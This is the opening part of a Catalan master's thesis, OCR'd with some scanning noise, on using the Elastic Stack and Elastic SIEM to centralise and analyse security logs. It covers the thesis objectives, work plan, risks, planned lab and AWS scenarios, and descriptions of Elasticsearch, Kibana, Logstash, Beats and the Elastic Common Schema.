U Universitat Oberta uoc.edu
c de Catalunya

Security analytics with Elastic

Eduard Mateos Martinez

Master Universitari en Seguretat de les Tecnologies de la Informaci6 i de les
Comunicacions

Analisi de dades

Pau del Canto Rodrigo
Helena Rifa Pous

02/06/2020



Aquesta obra esta subjecta a una llicencia de
Reconeixement-NoComercial-

SenseObraDerivada 3.0 Espanya de Creative
Commons



http://creativecommons.org/licenses/by-nc-nd/3.0/es/
http://creativecommons.org/licenses/by-nc-nd/3.0/es/
http://creativecommons.org/licenses/by-nc-nd/3.0/es/
http://creativecommons.org/licenses/by-nc-nd/3.0/es/

FITXA DEL TREBALL FINAL

Titol del treball: Security analytics with Elastic
Nom de l'autor: Eduard Mateos Martinez
Nom del consultor/a: Pau del Canto Rodrigo

Nom del PRA: Helena Rifa Pous

Data de lliurament (mm/aaaa): | 06/2020

Master Universitari en Seguretat de les
Titulacio o programa: Tecnologies de la Informacié i de les
Comunicacions

Area del Treball Final: Analisi de dades
Idioma del treball: Catala
Paraules clau Elastic, SIEM, Machine Learning
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Els ciberatacs poden ser molt diversos i els diferents sistemes d’informacio
solen estar distribuits. En moltes ocasions, aquests comportaments delictius
es veuen reflectits als diferents logs. Per tant, és necessari tenir-los
identificats, controlats i revisar-los de manera habitual. No obstant aixo, a
causa de la quantitat de logs que es poden arribar a generar, aguesta tasca
esdevé molt costosa. Obtenir logs de diferents origens i processar-los
conjuntament, ens permet veure fluxos i accions tragables que, revisades
individualment, no sén tan evidents. Realitzar aquest seguiment no és trivial i
€s necessari disposar d’alguna utilitat o eina per poder centralitzar aquesta
informacio i poder tractar-la.

Per tal de centralitzar tota aquesta informacid, en aquest treball s’utilitzara el
Stack d’ElasticSearch. A més, disposa d’un seguit de productes per tractar,
emmagatzemar i cercar informacid. Recentment, s’ha publicat una nova
funcionalitat que és I'ElasticSearch SIEM, que ens permet detectar diferents
anomalies.

Per tal d’avaluar aquest producte, s’han planificat un seguit d’escenaris en
format pilot que contenen les tecnologies més habituals que es poden utilitzar
en una organitzacio. Mitjancant la simulacié de diferents atacs, generarem
dades per alimentar I'ElasticSearch i utilitzar la funcionalitat del SIEM per
tractar-los.

A causa de la popularitzacié del Cloud Computing en I'ambit empresarial, el
segon escenari proposat es basara en un cas d’us real utilitzant els serveis
d’Amazon Web Service d’un sistema productiu.




L’ultim escenari es basara en el funcionament del Machine Learning que ens
ofereix la versio de pagament d’ElasticSearch per tractar els logs obtinguts
anteriorment.

Abstract (in English, 250 words or less):

Cyberattacks can be very diverse and the information systems are often
distributed. In many cases, these criminal behaviours are reflected in the
different logs. Therefore, they often need to be identified, monitored and
reviewed. However, due to the amount of logs that can be generated, this task
becomes very difficult. Obtaining logs from different sources and processing
them together allows us to see traceable flows and actions that, individually
reviewed, are not so obvious. Carrying out this monitoring is not trivial and it is
necessary to have some utility or tool to be able to centralize this information
and be able to process it.

In order to centralize all this information, the ElasticSearch Stack will be used
in this project. ElasticSearch has different products to store and search
information. Recently, ElasticSearch SIEM has been published. It is a new
feature that allows us to detect different anomalies.

| have planned some pilot scenarios to evaluate this product. They will contain
the most common technologies that can be present in an organization. By
simulating different attacks, we will generate data to add it in ElasticSearch and
use the SIEM functionality to discover anomalies.

Due to the popularity of Cloud Computing in business, the second scenario
proposed is based on a real case that uses the services of Amazon Web
Service on a productive system.

The last scenario will be based on the Machine Learning features. It is the
premium version of ElasticSearch and it will be used to process the logs
obtained above.
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1. Introduccioé

1.1. Context i justificacioé del Treball

Amb la popularitzacié de I'is d’internet i el seu facil accés, s’ha convertit en una
eina quasi imprescindible per la societat on vivim. Gracies a internet, €s possible
realitzar gestions de forma telematica amb I'administracio, realitzar compres, tant
de productes com de serveis, sense que sigui necessari sortir de casa. A més,
també és una font gairebé infinita d’'informacio.

A consequéncia d’aquesta popularitzacio, internet ofereix a les empreses un
canal molt gran per tal d’oferir els seus serveis. D’aguesta manera, permet poder
arribar a un nombre immens de possibles clients. Per aix0, en 'actualitat, un gran
nombre d’empreses tenen preséncia a internet oferint els seus productes i
serveis. A més, una gran part dels seus beneficis s’obtenen mitjangant aquest
canal.

Tenint en compte I'Us que es realitza d’internet, el volum de negoci que s’hi mou
i la importancia que ha adquirit en els darrers anys, fa que aquest canal
esdevinguin un boti molt valuds pels possibles criminals. Inicialment, aquest tipus
de ciberatacs eren realitzats per persones amb un nivell de coneixement tecnic
alt. Actualment, pero, gracies a la quantitat d’informacié que es pot obtenir a
través de la xarxa, fa que persones amb un cert nivell d’informatica els puguin
dur a terme. Per tant, cada cop €s més probable que una empresa rebi algun
ciberatac.

Per aquest motiu, és necessari que les entitats protegeixin la seva plataforma,
aixi com les dades emmagatzemades. Per aix0, en els Ultims anys la
ciberseguretat esta adquirint una importancia vital. No obstant aix0, encara hi ha
empreses que pensen amb la ciberseguretat com una despesa i no com una
inversio.

La mateixa idea vista en els paragrafs anteriors, es pot aplicar en el funcionament
intern d’'una empresa. A part d'utilitzar internet de manera habitual pel dia a dia,
dins de la mateixa empresa es formen xarxes per tal d’oferir als diferents
treballadors els recursos necessaris perqué puguin treballar. Es comu que a la
majoria de feines, a les diferents arees, utilitzin diferents sistemes d’informacié
com serien mobils, ordinadors, portatils, aixi com diferents serveis com podrien
ser el correu electronic, webs, servidors de fitxers, base de dades... Aquestes
xarxes locals poden ser només utilitzades per una sola seu, pero també poden
estendre’s a diferents edificis separats geograficament i generar una Intranet.

Com més gran sigui una empresa, més probable és que hi hagi algun treballador
descontent que pugui arribar a malmetre informacié de manera intencionada o
inclis vendre-la a la competéncia, posant a 'empresa en una situacio critica. Per
tant, el concepte de criminal també es pot adaptar a aquestes persones.



Com hem vist, els atacs informatics poden provenir tant de persones externes
com de personal intern de la mateixa organitzacio. Els objectius poden ser:
'accés a una base de dades, fer-se passar per un usuari per tal d’'obtenir accés
o, fins i tot, realitzar un atac que deixi inoperativa part de la plataforma, generant
pérdues economiques i d’imatge empresarial, fent que els possibles clients
perdin la confianga en I'organitzacio.

Els atacs poden ser molt diversos i els diferents sistemes d’'informacio solen estar
distribuits. En moltes ocasions, aquests comportaments delictius es veuen
reflectits als diferents logs. Per tant, €s necessari tenir-los identificats, controlats
i revisar-los de manera habitual. No obstant aix0, a causa de la quantitat de logs
que es poden arribar a generar, aquesta tasca esdevé molt costosa. Obtenir logs
de diferents origens i processar-los conjuntament, ens permet veure fluxos i
accions tracables que, revisades individualment, no soén tan evidents. Realitzar
aquest seguiment no és trivial i €s necessari disposar d’alguna utilitat o eina per
poder centralitzar aguesta informacio i poder tractar-la.

Una de les possibles eines que es poden utilitzar per a centralitzar els logs i
tractar-los és el Stack d’ElasticSearch, el que tractarem en aquest treball. A més,
disposa d’un seguit de productes per tractar, emmagatzemar i cercar informacio.
Recentment, s’ha publicat una nova funcionalitat que és I'Elastic SIEM, que ens
permet detectar diferents anomalies.

1.2. Objectius del Treball

El principal objectiu que es persegueix amb aquest treball és adquirir
coneixement i descobrir les noves funcionalitats que ens ofereix Elastic SIEM en
la deteccié d’anomalies.

Els objectius marcats son:

v Utilitzar els productes que ens ofereix Elastic Stack: ElasticSearch,
Kibana, Logstash i Beats per a I'obtencié d’esdeveniments de seguretat.

v Provar la nova aplicacié d’Elastic SIEM, inclos dins d’Elastic Sercurity, per
I'analisi d’esdeveniments de seguretat.

v' Creacié de diferents casos d’'Us per tal d’aplicar el producte Elastic
Security en un entorn empresarial.

v Aplicar el producte Elastic Security en un entorn al cloud amb informacié
real.

v" Aplicar el modul Machine Learning a I'entorn empresarial per tal de
detectar anomalies.

Tot i que aquest treball tindra una part conceptual, per tal d’adquirir coneixements
sobre el seu funcionament, el pes important se I'emportara la part practica, que
ens permetra veure les diferents funcionalitats que ens pot oferir ElasticSearch.

A continuacio, es mostren de manera meés esquematica els objectius marcats:



Obtenci6 dels coneixements necessaris

Funcionament de I'ElasticSearch i els seus components.
Coneixements de I'Elastic Common Schema.
Funcionament de la funcié de SIEM d’ElasticSerach.
Correlacié d’esdeveniments.

Deteccido d’anomalies amb I'Elastic.

Aplicaci6é del Machine Learning.

YVVYVYVYYVY

Desplegament Stack Elastic

» Instal-lacio i configuracio d’Elastic Stack.
Casos d’'us
Escenari 1: Entorn Empresarial

» Desplegament de la plataforma del lloc de treball (Active Directory, DNS,
servidor de fitxers, base de dades, servidor web, IDS, etc.).

» Configuracio les regles de deteccio de I'ElasticSearch.

» Simulacié de diferents tipus d’atacs per detectar-ho amb les regles
d’ElasticSearch.

Escenari 2: Cloud Amazon Web Services (AWS)

» Ingestio i analisi de logs des d’una plataforma cloud (AWS).
» Configuracio de les regles de deteccio de I'ElasticSearch.

Escenari 3: Prova del modul de Machine Learning.
» Activacié de la versié de proves d’ElasticSearch.
» Configuracié de Machine Learning.
» Test de funcionament del modul de Machine Learning.

A part dels objectius comentats anteriorment, també hem d’identificar quins seran
els objectius de I'entrega:

Objectius d’entrega

» Planificacio dels temps del treball, aixi com les entregues parcials.
» Elaboracié de la memoria.
» Elaboracié de la presentacié del treball i també del video.

1.3. Enfocament i metode seguit
El centre de tot el treball es troba en la funcionalitat de SIEM del Stack d’Elastic.

Per tant, s’utilitzaran els seglents components:
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Per tal de poder dur a terme els diferents escenaris, sera necessari desplegar un
seguit d’infraestructures virtuals. S'utilitzara el sistema de virtualitzacié de
vMWare Workstation per tal de desplegar-les.

Per tal de donar resposta a aquest treball, la metodologia que seguiré sera la
seglent:

Planificacié temporal del treball

Un dels primers factors que té impacte en I'elaboracié del treball sera el temps.
Per tal d’assegurar que es compleixen les dates, sera necessari definir una
planificacio en funcié del temps on es marcaran quines son les diferents fites a
completar, tant a escala personal com pel que fa als lliuraments marcats per la
UOC.

Per tal de plasmar aquesta informacio, utilitzaré un diagrama de Gantt, a on es
veuran les tasques a realitzar amb les seves dates d’execucié.

Obtenci6 dels coneixements basics

Com hem comentat, aquest producte €s molt recent. Per tant, sera necessari
adquirir inicialment un seguit de coneixements basics que ens permetran
assentar les bases del funcionament d’aquest.

Per tal d’adquirir aquest coneixement, ens centrarem en la documentacié que
ens ofereix el proveidor i que podem trobar a la seva pagina web. Per tal de tenir
una visié mes practica del funcionament, a la mateixa web es poden localitzar un
seguit de cursos o “webinars” destinats a tasques especifiques dins del SIEM
que ens ajudaran també a aconseguir la base del coneixement necessari per a
dur a terme aquest treball.

Utilitzacié de configuracions estandards

Un dels objectius principals d’aquest treball és identificar i utilitzar les diferents
funcionalitats que ens ofereix aquest producte. Per tant, intentarem realitzar les
configuracions essencials utilitzant els productes propis. Evitant, sempre que
sigui possible, la utilitzacioé d’eines de tercers o desenvolupades a mida.


https://www.elastic.co/es/siem

1.4. Planificacio del treball

He elaborat un pla de treball basat en les diferents entregues del TFM. Tot i que
la planificacié esta realitzada diariament, la intencié és realitzar un seguiment
setmanal. Es necessarija que, per obligacions externes a la UOC, la disponibilitat
diaria pot variar.

Planificaci6 de tasques

Pla de treball 10 dies 19/02/20 03/03/20
Fita 1: finalitzacié entrega 1 0 dies 02/03/20 02/03/20
Entrega 2 20 dies 04/03/20 31/03/20 1

Adquirir coneixements d'Elastic 5 dies 04/03/20 10/03/20
SIEM
Webinar: Introduccion a Elastic 1 dia 04/03/20 04/03/20
SIEM: protege tu organizacion con el
Stack Elastic
Detecting threats on Linux hosts 1 dia 05/03/20 05/03/20 5
with Auditbeat
Detecting threats by analyzing 1 dia 06/03/20 06/03/20 6
Windows Event Logs with the Elastic
(ELK) Stack
Integrating custom logs with ECS 1 dia 09/03/20 09/03/20 7
for Elastic SIEM
Hunting for persistence using 1 dia 10/03/20 10/03/20 8
Elastic Security
Planificaci6 dels escenaris 8dies 11/03/20 20/03/20 4
Escenari 1: Lloc de Treball 3dies 11/03/20 13/03/20
Cerca d'informacié dels diferents 1 dia 11/03/20 11/03/20
components a desplegar
Disseny de la infraestructura a 1 dia 12/03/20 12/03/20 12
desplegar
Elaboracié de l'esquema de la 1dia 13/03/20 13/03/20 13
infraestructura dissenyada
Escenari 2: Cloud 3dies 16/03/20 18/03/20 11
Disseny de la infraestructura a 1 dia 16/03/20 16/03/20
desplegar
Elaboracié de l'esquema de la 1 dia 17/03/20 17/03/20 16
infraestructura dissenyada
Cerca d'informaci6 de com 1dia 18/03/20 18/03/20 @17
analitzar els logs al cloud
Escenari 3: Machine Learning 2dies 19/03/20 20/03/20 15
Cercar informaci6 del seu 2 dies 19/03/20 20/03/20
funcionament
Desplegament d'ElasticSearch 4 dies 23/03/20 26/03/20 10



Revisio dels requeriments
d'ElasticSearch
Instal-lacioé d'ElasticSearch
Configuracié d'ElasticSearch
Securitzacio d'ElasticSearch
Instal-lacié de Kibana
Instal-lacié de Logstash
Preparacio de I'entrega
Finalitzar la documentacio
Correccio
Fita 2: finalitzacié entrega 2
Entrega 3
Escenari 1
Analisi de logs
Generacio de dades (simulacio
d'atacs)
Proves de les regles estandards
definides
Creacio de noves regles
Preparacio de I'entrega
Finalitzar documentacio
Correccio
Fita 3: finalitzacié Entrega 3
Entrega 4 - Memoria final
Escenari 2
Obtencio de dades d'AWS
Analisis d'informacié
Ajust de regles del SIEM

Escenari 3
Configuracio de regles de Machine
Learning
Estudi de funcionament i
comportament

Preparacio de I'entrega
Finalitzar documentacio
Correccio

Fita 4: finalitzacio de la memoria
Entrega 5 - Presentacio del video
Creacio de diapositives
Creacio del video
Fi TFM
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1.5. Riscs

Per tal que aquest treball tingui éxit i s’assoleixin els objectius marcats, s’han de
tenir en compte quins son els possibles riscs que poden apareixer, els agruparé
a la seguent taula:

Possibi
-litat
Mig

Criti-
citat
S’anira ajustant la Mig

Definicio

Mitigacio

R1: Objectius Durant I'elaboracio

massa
ambiciosos

dels escenaris, és
possible que es
vulguin contemplar
una guantitat
massa elevada de
serveis a integrar,

guantitat de serveis
a integrar. Si la
seva integracio és
massa complexa,
realitzaré un estudi
de costos /
beneficis.



R2:
ElasticSearch
SIEM Beta

R3: Diferents
elements de
recol-leccio de
lainformaci6

R4: Falta de
temps per
elaborar la
memoria

R5: Problemes
de recursos

amb diferents
nivells de dificultat.
La funcionalitat del
SIEM
d’ElasticSearch és
molt recent | es
troba en fase beta.
Aix0 pot provocar
que el seu
funcionament i
comportament no
sigui I'esperat.

Per tal de nodrir la
base de dades
d’Elastic,
s’utilitzaran
diferents agents.
La informacio
recol-lectada
podria ser que no
sigui la necessaria,
0 que no s’hagi
recollit de forma
correcta al 100%.

Es possible que
alguna de les fases
esdevingui mes
costosa que les
previsions de
temps previstes,
fent que la
documentacido es
vagi enrederint.

Per tal de realitzar
els diferents

S'utilitzara la versié

meés recent dels
components en el
moment de
realitzar els
diferents

escenaris. En el
cas de detectar

alguna anomalia,
es registrara i es
validara si existeix
algun pegat per
solucionar-ho.

S’intentara sempre

treballar amb la
informacio
facilitada per
aguests

components. Si es
detecta algun cas

en que la
informacio recollida
no es la
necessaria, es

realitzara un estudi
per tal de valorar si
és possible ajustar
la configuracié a
les necessitats del
treball o si és
possible elaborar
algun

desplegament a
mida. Segons
aquesta valoracio,
es prendra la
decisio

Procurar redactar
la memoria en
paral-lel a la

realitzacio dels
diferents
escenaris.
Aconseguint  aixi

portar-la al dia.

S’ajustaran el
maxim possible els

Alt

Alt

Alta

Mig

Alt

Mig

Baix

Baix



R6:
Funcionalitats
lligades a
subscripcions.

R7:
Infraestructura
propietaria

escenaris sera
necessari

desplegar diferents
maquines virtuals
amb recursos

determinats.

La majoria de
components que
s’utilitzaran sén
OpenSource. No
obstant aixo, hi ha

algunes

funcionalitats que
van lligades a
llicencies de
pagament, com
podria  ser el

Machine Learning.

Un dels dos
escenaris es
basara en un cas
d'ds real, on la
plataforma a
analitzar es troba
allottada en el
compte (AWS) d’'un
client. La quantitat
de serveis que s’hi

poden allotjar i
utilitzar estara
limitada als
requeriments i les
necessitats del
client.

recursos assignats

a cada servei.
Procurant aixi
aconseguir una
relacio entre
rendiment i
funcionament

correcte sense
necessitat de

sobredimensionar-
ho.

No iniciar els
serveis que no es
facin servir perquée
no estiguin tots
corrent a la
vegada. D’aquesta

manera, es pot
ajustar millor la
configuracio.
S’intentara,
sempre que sigui
possible, utilitzar

les funcionalitats
OpenSource. No
obstant aixo, si és
necessaria alguna

funcionalitat extra
de pagament,
s'optara per la
utilitzacié de
llicencies de
proves de temps
limitat.
S'utilitzaran tan
sols els
requeriments
disponibles al

compte del client.
Si es detecta una
necessitat extra, es
valorara si hi ha
alguna manera per
suplir-ho amb
altres components
gque no estiguin
allotjats al AWS.

Mig

Mig

Mig

Mig



1.6. Estat d’art

Actualment, al mercat podem trobar una gran varietat de productes que realitzen
la funcié del SIEM, com podria ser OSSIM d’AlientVault, Qradar d'IMB o bé
ArcSight de HP.

La funcionalitat principal del Stack d’Elastic és la recol-leccio, indexacio i cerca
de dades. No obstant aix0, durant els ultims anys, aquests productes s’han tornat
populars entre els professionals del sector de la seguretat informatica per tal de
realitzar analisis de seguretat.

Tal i com s’indica a “Presentacion de Elastic SIEM” (Paquette, 2019). Un dels
primers passos que va realitzar Elastic en aquest camp, va ser aprofitar els seus
agents de recol-lecci6 de dades per obtenir i processar esdeveniments de
seguretat. També va comengar amb la recol-lecci6 d'esdeveniments de
seguretat basats en xarxa i la integracié amb diferents productes de monitoratge
de xarxa. Com que tenien aquests agents tan diversificats, es van adonar que
era necessari elaborar un esquema comu de dades, per poder-les normalitzar.

Empreses com Bell Canda, Slack, Cisco Talos o centres d’operacions de
seguretat com Big Ten Academic Alliance i Oak Ridge National Laboratory,
utilitzen aquest producte per realitzar tasques de seguretat.

En aquest punt, Elastic ja podia obtenir informacio de diferents fonts de dades i
disposava d’un esquema comu per emmagatzemar aquesta informacio. El
segient pas, era obtenir una interficie grafica per analitzar aquestes dades
agrupades. El passat juny del 2019 van posar a disposicié del public I'aplicacio
Elastic SIEM que es pot trobar dins del Kibana versi6 7.2.

Un altre pas que va realitzar Elastic per obrir-se cami al mon de la seguretat
informatica, també el juny del 2019, va ser la compra d’EndGame, un producte
destintat a la proteccio de lloc de treball.

Amb aquests dos components, Elastic llanca un producte anomenat Elastic

Sercurity per a I'analisi d’esdeveniments de seguretat i orientat als professionals
de la seguretat informatica.
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1.7. Breu sumari de productes obtinguts

S’han planificat tres escenaris per la realitzacié del treball, cadascun d’ells
disposara de diferents serveis:

Escenari 1: Entorn empresarial

En aquest cas, ens basarem en una plataforma estandard que es pot trobar de
forma més o menys frequent a la majoria d’empreses. Es concretara més a la
fase de cerca d’informacié, segons linterés que tingui durant el treball. No
obstant aix0, a grans trets els serveis serien:

» Servei de directori: s’utilitzara I’Active Directory de Microsoft.
» Servei de comparticio de fitxers, hi ha diferents possibilitats:
o Utilitzar els recursos compartits de Windows.
o Utilitzar SMB de Linux.
o Utilitzar NFS de Linux.
» Servei IDS, podrien ser:
o Snort.
o Suricata.
» Servei web, servei de base de dades...: s'utilitzaran les maquines virtuals
Metasploitable preparades per poder practicar hacking étic.

Escenari 2: Cloud Amazon Web Service

En aquest escenari s’aplicaran les funcionalitats que ens ofereix el producte
d’Elastic Security en un entorn real. Aquest entorn es troba allotjat al cloud,
concretament en el proveidor Amazon Web Service.

Els diferents productes susceptibles a ser analitzats sén:
» Cluster Kubernetes: 8 Servidors Linux:
o Cluster destinat a I'aplicacio.
o Cluaster destinat a la integracié continua.
» Aplicacié Web en format contenidor.
» Balancejadors de carrega (Elastic Load Balancing).
> Cluster ElasticSearch com a base de dades.
» Content Delivery Network: Fasly.

Escenari 3: Prova del Modul de Machine Learning.

Amb les dades obtingudes en els casos anteriors, s’habilitara la subscripcio de
proves del modul de Machine Learning per tal de testejar-lo i revisar quines
funcionalitats que ens ofereix.
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1.8. Breu descripcid dels altres capitols de la memoria

Es realitzaran les segiients entregues:

» Entrega 1: s’entregara el pla de treball. En aquesta entrega es definiran
els objectius, la metodologia usada, el pla de treball, els possibles riscs i
el contingut dels diferents documents de les entregues.

» Entrega 2: s’entrega documentacido que inclou la part inicial sobre
I'obtencié de coneixement sobre el producte, aixi com un disseny dels
diferents escenaris que es realitzaran. En dltim lloc, incloura el
desplegament d’ElasticSearch.

» Entrega 3: en aquesta entrega s’inclouran tots els temes relacionats amb
'escenari 1: desplegament del laboratori, ingestié de logs dels diferents
components a I'Elastic, analisi de les dades i les regles de deteccio.

» Entrega 4: en aquesta entrega s'incloura el contingut de les anteriors
PAC’s, amb les correccions oportunes. A més, es completara el treball
amb la documentacié corresponent dels escenaris 2 i 3. En ultim lloc, es
completara la memaoria amb unes conclusions.

» Entrega 5: a l'lltima entrega es realitzara una presentacié que sera la
base del video on s’indicaran els temes més rellevants del TFM, aixi com
alguna demostracié del seu funcionament.

La relacio entre entregues i capitols sera:

Entrega 2:

» Capitol 2: correspon a la part més conceptual del treball, on hi haura
I'explicacié del funcionament de [I'ElasticSearch SIEM, aixi com la
informacio basica de la resta de productes que s’utilitzaran.

» Capitol 3: planificaci6 dels diferents escenaris. Es realitzara un esquema
dels diferents productes aixi com la seva relacié de cada escenari.

» Capitol 4: procediment per desplegar I'ElasticSearch, aixi com els seus
components.

Entrega 3:

» Capitol 5: incloura tota la informacio relacionada amb les analisis de logs
a 'apartat 5.1 es realitzara una visita per I'Elastic SIEM. Seguidament, al
punt 5.2 amb I'escenari 1: desplegament, enviament de logs i analisis
d’aquests. Creacio de regles a I'Elastic SIEM.

Entrega 4:

» Capitol 5: es continuara completant 'apartat d’analisis de logs i s’incloura:
o Apartat 5.3 amb tota la informacié relacionada amb l'escenari 2:
enviament de logs i analisis d’aquests. Creacio de regles a I'Elastic

SIEM.
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o Apartat 5.4 s’incloura tota la informacio relacionada amb I'escenari
3; s'utilitzaran les dades obtingudes a I'escenari 1 i s'utilitzara el
Machine Learning per tractar-les.

» Capitol 6: capitol final on es realitzara una analisi dels resultats dels
diferents escenaris, s’extrauran les conclusions i es realitzara una
valoraci6 del treball.

» Capitol 7: s’incloura la bibliografia del treball.

» Capitol 8: als annexos s’inclouran les diferents captures, scripts i
configuracions que s'’utilitzin durant el treball.

2. Coneixement basic

2.1. Analisi de dades

El procés d’analisis de dades consisteix a analitzar, netejar i transformar les
dades per tal d’aconseguir informacio util per arribar a conclusions que ens ajudin
a prendre decisions o ampliar el coneixement sobre algun tema.

Podem considerar que, en 'ambit genéric, per tal d’analitzar les dades s’han de
seqguir les seglents fases segons la publicacié “Analisis de Datos”.

» Fase 1: definir quines son les preguntes que es persegueixen:

o Primer de tot, el que ens hem de plantejar és que volem aconseguir
si analitzem les dades.

» Fase 2: definir quins sén els elements a analitzar:

o Dins d’aquesta fase, es contempla I'estudi de quines son les dades
gue ens ajudaran a resoldre les preguntes plantejades i també
quins procediments utilitzarem per a mesurar-les.

» Fase 3: Recol-lecci6 de dades:

o Amb lafase 1ilafase 2 tancades, el seglent pas sera obtenir les
dades a analitzar. S’ha de tenir en compte quina és la informacio
gue es pot recollir, aixi com quin és el sistema d’emmagatzematge
a utilitzar.

» Fase 4: Analisis de dades:

o Un cop es disposa de les dades, el seguent pas sera analitzar-les:

buscar relacions i tendéncies de filtratge d’informacio.
» Fase 5: Interpretar les dades:

o Aquesta és I'tltima fase, on s’ha d’intentar respondre les preguntes

plantejades inicialment.

Aquest mateix procés el podem aplicar a I'analisi de dades de seguretat, afegint
les seglients premisses:

Fase 1: la pregunta que volem respondre és si la infraestructura TIC d’alguna
organitzacié ha patit alguna incursio o incident de seguretat.

Fase 2: els elements que volem analitzar sén la totalitat o part de la
infraestructura TIC.
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Fase 3: les dades que volem analitzar i que ens donaran informacio, es troben
en les diferents metriques i logs que genera cada part de la infraestructura TIC.

Fase 4: amb la informacié recollida es poden detectar possibles problemes de
seguretat com serien: canvis de fitxers, intents fallits d’introduccié de
contrasenyes, accés a IP’s malicioses....

Fase 5: amb la informacio obtinguda i analitzada, cal confirmar o desmentir que
hi ha hagut un incident de seguretat.

No obstant aix0, en el cas de I'analisi de seguretat, aquest procés es considera
ciclic, ja que les dades estaran vives i en constant canvi. Plasmat en un diagrama

de flux:

Configurar Origen
de dades

Fase 1: Tenim
Intrusions?

Fase 2: Quins
elements volem
analitzar?

Fase 3: Obtencié de
dades

Indexacié

enim suficient
informacié

Fase 4: Analisis de
dades

" ) Ampliar origen de
dades

Fase 5: Interpretar S’ha detectat Informe Intrusié

dades alguna anomalig

Per tal de realitzar aquest procés, al mercat es poden trobar diferents solucions.
En aquest treball ens centrarem en els productes d’Elastic.

Elastic, per tal de donar soluci6 a la fase de recol-leccid, centralitzacio
d’informacio i analisi de les dades, ofereix la solucio Elastic Stack.
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2.2. Elastic Stack

Com s’ha comentat anteriorment, aquest grup d’aplicacions ens ajuden amb les
fases d’indexacio, visualitzacio i recol-lecci6 de les dades. Es pot considerar que
cadascun d’ells és una peca en un engranatge que treballa conjuntament.

eBeats
Recoleccis R:AENY

Visualitzacié

Indexacid

eElasticSearch

A continuacio detallarem les caracteristiques de cadascun d’aquests productes.

2.2.1. ElasticSearch

Elastic a “;Qué es Elasticsearch?” defineix ElasticSearch com: “Un motor per
I'analisi distribuit de tota mena de dades”.

Aquest component és la pec¢a central de tota la solucié. Tot i que permet
emmagatzemar dades, no és estrictament una base de dades, sind que es pot
considerar un motor de cerca i analisis de tota classe de dades. Va ser presentat
per primera vegada al 2010. Es basa en el llicenciament OpenSource i s’ha
desenvolupat mitjancant Apache Lucene?.

Les dades s’envien a I'ElasticSearch sense processar des de les diferents fonts
i aquest s’encarrega d’indexar-les. A partir d’'aquest punt, ja es poden llencar
consultes complexes sobre aquestes dades. També ens permet fer agrupacions
de dades.

1 Llibreria OpenSource Java que ofereix caracteristiques d’'indexacié i cerca de text.
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De les funcionalitats que ens aporta ElasticSearch se’n pot destacar:
» Logging i analitica de logs.
» Meétriques d’infraestructures.
» Andlisis de seguretat.

2.2.2. Kibana

A

Es una eina de visualitzaci6 i gestié de dades per I'ElasticSearch. Ens permet
realitzar histogrames en temps real, grafiqgues, mapes aixi com sequéncies
temporals. També disposa d’aplicacions avangades com serien Canvas
(infografies dinamiques), Elastic Maps (visualitzacié de dades geoespacials) o
Elastic SIEM, que explicaré a continuacio, entre d’altres.

A més, també és I'eina central per controlar I'estat dels diferents components.

2.2.3. Logstash

Aquest component permet processar, transformar i enviar diferents tipus de
dades a I'ElasticSearch. Es podria considerar una pipeline? de processament de
dades. Les seves funcions principals son:

» Transformar un conjunt de dades sense cap estructura especifica en
dades estructurades.

» Desxifrar coordenades geografiques d’IP.

» Anonimitzar camps sensibles.

Per tal d’aconseguir que un seguit de dades no estructurades passin a ser
estructurades, utilitza grok®. No obstant aixo, també disposa d’un seguit de
plugins de tecnologies especifiques per aconseguir aguesta conversio de dades.

2 Flux de processament de dades en qué es reben dades, es processen i generen una sortida.
3 Sistema per transformar dades no estructurades a dades estructurades.
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2.2.4, APM

Aquest component ens pot ajudar amb [l'obtencié d’informacié sobre el
funcionament de les pagines web, aixi com el temps de resposta i els errors que
es produeixen durant I'execucid.

Aquest component esta format per dues peces:

» APM-Agent: component escrit amb diferents llenguatges de programacié
web que s’integra amb l'aplicacié per poder obtenir informacié sobre
rendiment i errors en temps d’execucio.

> APM-Server: processa la informacié que li arriba dels diferents APM-
Agents i la converteix en documents que puguin ser emmagatzemats per
ElasticSearch.

2.2.5. Beats

=

Aquest és I'tltim component que forma part del Stack. La seva funcié principal
és l'obtencié de les dades i 'enviament d’aquesta informacié a I'ElasticSearch.
No obstant aix0, si es vol disposar d’'un nivell més elevat de processament, es
pot enviar la informacié obtinguda primer al Logstash.

Estrictament, Beats no és un sol producte sindé que son un conjunt d’agents
independents, orientats a diferents tipus especifics de recol-leccié de dades.

Alguns d’aquests agents son propiament d’Elastic, com podrien ser, entre
d’altres:

FileBeat: esta destinat a la recol-leccié d’informacié d’arxius de logs.
MetricBeat: recol-leccio de metriques, com seria la CPU, la memoria, etc.
PacketBeat: recol-leccié de trafic de xarxa.

WinLogBeat: recol-leccioé d’esdeveniments Windows.

AduitBeat: recol-lecci6 d’elements d’auditoria. Inclou un modul d’integritat
de fitxers.

YV VY VYV

Com que esta basat en OpenSource, permet que tercers puguin desenvolupar
plugins pels Beats de tecnologies més diverses.

Tota la informacio que obtenen aquests agents, es parametritza segons I'Elastic
Common Schema (ECS), que en parlarem més endavant. A manera de resum,
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les dades recollides es classifiquen segons un estandard, aconseguint que la
informacié que prové de diferents components, tingui els mateixos atributs.

2.3. Elastic Common Schema

Com s’indica a “What is ECS?”, Elastic és una especificacid OpenSource, que
s’ha creat amb l'ajuda de la comunitat d’Elastic. En aquesta especificacio, es
defineixen un seguit de camps comuns que s’utilitzen per emmagatzemar la
informacio a I'ElasticSearch.

L’objectiu que es persegueix amb aquesta especificacio, és ajudar als usuaris
perqué puguin normalitzar la informacié dels esdeveniments, per tal que sigui
meés facil per analitzar-los, visualitzar-los i realitzar les correlacions.

Per cada camp, s’especifica un nom, el tipus de dades de I'ElasticSearch, una
descripcid i exemples del seu Us. Aquests camps s’agrupen en dos nivells.
» Core: camps que s6n comuns en tots els casos d’'Us. Sén els primers que
s’han d’utilitzar.
» Extended: inclou tots els camps que no son core. En cada cas d’us poden
ser utilitzats o interpretats de manera diferent.

Si es disposa d’informacid que no pot ser representada en cap camp de 'ECS,
com que té 'esquema permissiu, es pot crear de nou.

2.4. Productes

Tenint en compte tots els components comentats als apartats anteriors, Elastic
considera que disposa de 3 solucions o configuracions.

> Enterprise Search: la seva funcié principal és la realitzacié de cerques
de documents i resultats que es poden localitzar a webs, aplicacions o
llocs de treball.

> Observability: analisi centralitzat de logs, métriques, APM i monitoratge
del temps d’activitat.

» Security: prevencio, deteccio i resposta davant d’'amenaces amb SIEM i
Endpoint Security.

En aquest treball, ens centrarem amb:

Elastic .

Security
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2.5. Elastic Security

Segons la publicacio “Elastic SIEM 7.4.0 released” (Wurm, 2019), Elastic és un
